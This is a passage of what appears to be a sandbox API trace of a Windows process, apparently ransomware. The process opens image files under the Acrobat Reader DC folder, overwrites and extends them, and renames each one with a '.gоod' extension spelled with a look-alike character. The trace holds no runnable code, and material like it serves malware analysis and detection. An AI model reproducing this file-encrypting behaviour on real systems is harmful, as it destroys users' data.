dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x42827afd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10fe)) returned 1 [0117.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0117.942] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png.gоod")) returned 1 [0117.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0117.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0117.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x33d8078 | out: lpFileInformation=0x33d8078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b)) returned 1 [0117.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0117.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0117.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0117.943] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.943] GetFileType (hFile=0x768) returned 0x1 [0117.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0117.943] GetFileType (hFile=0x768) returned 0x1 [0117.943] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0117.944] ReadFile (in: hFile=0x768, lpBuffer=0x33d8520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x33d8520*, lpNumberOfBytesRead=0x1fdec488*=0xb2b, lpOverlapped=0x0) returned 1 [0118.083] CloseHandle (hObject=0x768) returned 1 [0118.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0118.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0118.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.083] GetFileType (hFile=0x768) returned 0x1 [0118.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0118.084] GetFileType (hFile=0x768) returned 0x1 [0118.084] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1b2b [0118.084] WriteFile (in: hFile=0x768, lpBuffer=0x350d6b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x350d6b8*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0118.084] CloseHandle (hObject=0x768) returned 1 [0118.084] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0118.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0118.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.084] GetFileType (hFile=0x768) returned 0x1 [0118.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0118.084] GetFileType (hFile=0x768) returned 0x1 [0118.084] ReadFile (in: hFile=0x768, lpBuffer=0x350f9c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x350f9c0*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0118.291] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0118.854] CloseHandle (hObject=0x768) returned 1 [0118.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0118.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0118.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.854] GetFileType (hFile=0x768) returned 0x1 [0118.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0118.854] GetFileType (hFile=0x768) returned 0x1 [0118.855] WriteFile (in: hFile=0x768, lpBuffer=0x338c6e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x338c6e0*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0118.855] CloseHandle (hObject=0x768) returned 1 [0118.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png", lpFilePart=0x0) returned 0x6a [0118.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png.gоod", lpFilePart=0x0) returned 0x6f [0118.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0118.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x430e6878, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b3b)) returned 1 [0118.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0118.855] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\logo_retina.png.gоod")) returned 1 [0118.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x75 [0118.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0118.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif"), fInfoLevelId=0x0, lpFileInformation=0x36762c8 | out: lpFileInformation=0x36762c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469)) returned 1 [0118.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0118.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x75 [0118.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0118.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.857] GetFileType (hFile=0x768) returned 0x1 [0118.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0118.857] GetFileType (hFile=0x768) returned 0x1 [0118.857] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x469 [0118.857] ReadFile (in: hFile=0x768, lpBuffer=0x3676ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3676ad0*, lpNumberOfBytesRead=0x1fdec3e8*=0x469, lpOverlapped=0x0) returned 1 [0118.858] CloseHandle (hObject=0x768) returned 1 [0119.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x75 [0119.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0119.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.884] GetFileType (hFile=0x7dc) returned 0x1 [0119.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0119.884] GetFileType (hFile=0x7dc) returned 0x1 [0119.884] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a60f0*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x34a60f0*, lpNumberOfBytesWritten=0x1fdec2f8*=0x470, lpOverlapped=0x0) returned 1 [0119.885] CloseHandle (hObject=0x7dc) returned 1 [0119.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x75 [0119.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif.gоod", lpFilePart=0x0) returned 0x7a [0119.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0119.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x43abe152, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0119.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0119.885] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress-indeterminate.gif.gоod")) returned 1 [0119.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0119.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x34a74a0 | out: lpFileInformation=0x34a74a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e)) returned 1 [0119.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0119.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0119.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.887] GetFileType (hFile=0x7dc) returned 0x1 [0119.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0119.887] GetFileType (hFile=0x7dc) returned 0x1 [0119.887] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0119.887] ReadFile (in: hFile=0x7dc, lpBuffer=0x34a7978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x34a7978*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0119.888] CloseHandle (hObject=0x7dc) returned 1 [0119.888] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0119.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.889] GetFileType (hFile=0x7dc) returned 0x1 [0119.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0119.889] GetFileType (hFile=0x7dc) returned 0x1 [0119.889] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x392e [0119.889] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a8ca0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x34a8ca0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0119.890] CloseHandle (hObject=0x7dc) returned 1 [0119.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0119.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.890] GetFileType (hFile=0x7dc) returned 0x1 [0119.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0119.890] GetFileType (hFile=0x7dc) returned 0x1 [0119.890] ReadFile (in: hFile=0x7dc, lpBuffer=0x34ab010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34ab010*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0119.918] CloseHandle (hObject=0x7dc) returned 1 [0119.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0119.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0119.918] GetFileType (hFile=0x7dc) returned 0x1 [0119.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0119.918] GetFileType (hFile=0x7dc) returned 0x1 [0119.918] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a9d08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34a9d08*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0119.918] CloseHandle (hObject=0x7dc) returned 1 [0119.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif", lpFilePart=0x0) returned 0x6f [0119.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif.gоod", lpFilePart=0x0) returned 0x74 [0119.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0119.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x393e)) returned 1 [0119.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0119.919] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\progress_spinner.gif"), 